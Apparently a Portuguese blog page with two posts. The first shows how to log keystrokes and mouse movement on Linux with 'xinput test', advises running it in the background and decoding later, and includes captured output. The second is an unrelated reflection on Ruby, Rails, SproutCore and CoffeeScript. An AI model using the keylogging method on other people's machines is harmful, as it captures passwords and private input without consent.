Como fazer um keylogger/mouse no linux ?

É bem simples, mais do que qualquer um pode imaginar… existe um comando chamado xinput, ele testa e configura dispositivos de entrada conectados ao Xorg, pois bem, para listar os devices conectados:

 

 

 

[liquuid@catalina ~]$ xinput list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ Microsoft  Microsoft Basic Optical Mouse v2.0 	id=10	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Power Button                            	id=7	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=8	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=9	[slave  keyboard (3)]
    ↳ cx88 IR (Prolink Pixelview MPEG         	id=11	[slave  keyboard (3)]

 

 

 

Isso mostra o ID do meu teclado, no caso o número 8, então o comando abaixo é suficiente para capturar tudo que eu digitar:

 

 

[liquuid@catalina ~]$ xinput  test 8
key release 36 
key press   54 
ckey release 54 
key press   52 
zkey press   53 
xkey release 52 
key release 53 
key press   56 
bkey release 56 
key press   25 
wkey release 25

 

 

Basta então deixar isso rodando em background e processar as teclas digitadas com mais calma depois.

Um exemplo de código para o keylogger pode ser encontrado aqui.

 

Para nossa felicidade da pra gravar o mouse também, basta usar :

[liquuid@catalina ~]$ xinput  test 10
motion a[0]=1046 a[1]=270 
motion a[0]=1055 a[1]=269 
motion a[0]=1063 a[1]=266 
motion a[0]=1068 a[1]=264 
motion a[0]=1070 a[1]=264 
motion a[0]=1071 a[1]=263 
motion a[0]=1072 a[1]=262 
motion a[0]=1073 a[1]=261 
motion a[0]=1074 a[1]=260 
motion a[0]=1075 a[1]=259 
motion a[0]=1075 a[1]=258 
motion a[0]=1076 a[1]=257 
motion a[0]=1077 a[1]=256 
motion a[0]=1076 a[1]=256 
motion a[0]=1075 a[1]=255 
motion a[0]=1074 a[1]=255 
motion a[0]=1073 a[1]=255 
motion a[0]=1072 a[1]=255 
motion a[0]=1071 a[1]=255 
motion a[0]=1070 a[1]=255 
motion a[0]=1069 a[1]=254 
motion a[0]=1068 a[1]=253 
button press   1 
motion a[0]=1069 a[1]=252 
motion a[0]=1071 a[1]=252 
motion a[0]=1072 a[1]=252 
motion a[0]=1073 a[1]=252 
motion a[0]=1074 a[1]=253 
motion a[0]=1076 a[1]=254 
motion a[0]=1077 a[1]=254 
motion a[0]=1078 a[1]=254 
motion a[0]=1079 a[1]=254 
motion a[0]=1080 a[1]=255 
motion a[0]=1081 a[1]=256 
motion a[0]=1083 a[1]=257 
motion a[0]=1085 a[1]=258 
motion a[0]=1086 a[1]=259 
motion a[0]=1088 a[1]=260 
motion a[0]=1089 a[1]=260 
motion a[0]=1091 a[1]=262 
motion a[0]=1092 a[1]=263 
motion a[0]=1093 a[1]=264 
motion a[0]=1094 a[1]=265 
motion a[0]=1095 a[1]=265 
motion a[0]=1096 a[1]=266 
motion a[0]=1097 a[1]=267 
motion a[0]=1098 a[1]=268 
motion a[0]=1099 a[1]=269 
motion a[0]=1100 a[1]=270 
motion a[0]=1101 a[1]=271 
motion a[0]=1102 a[1]=272 
motion a[0]=1103 a[1]=272 
motion a[0]=1105 a[1]=273 
motion a[0]=1106 a[1]=274

 

Alguns encaram o xinput como uma mega falha de segurança e você caro leitor ?

Um pouco rubista e quem sabe um dia Railer

Eu gosto de python, é a minha linguagem de programação favor… bem, isso tá mudando. Não vou detalhar aqui os motivos pelo qual o ruby e seu ecossistema vem me seduzindo bem mais que o python. Mas no grosso, vejo a comunidade ruby/rails focada em aplicativos web, apis para aplicativos web e sites para web, ou seja, focados no futuro da computação pessoal baseado na nuvem. Eu entrei nessa também, meu mantra é nuvem -> webapps.

Dentre as coisas interessantes que vem surgindo ao redor do Ruby/Rails, existe o SproutCore, uma biblioteca MVC para desenvolvimento de webapps tão bem feitos quanto um app para desktop, celular ou tablet, e até uma “alternativa” ao javascript o CoffeScript, que promete e entrega ao programador uma forma mais ‘limpa’ de se desenvolver javascript, que alias foi adicionado como dependência do Rails e tá gerando estranheza entre alguns Railers.

Eu queria muito mostrar algumas idéias que tô desenvolvendo usando rails e sproutcore, mas tá tudo muito crú, e tempo livre eu não tenho mais. Mas se algum leitor puder me dar dicas de gems interessantes para usar com o rails sou todo ouvidos.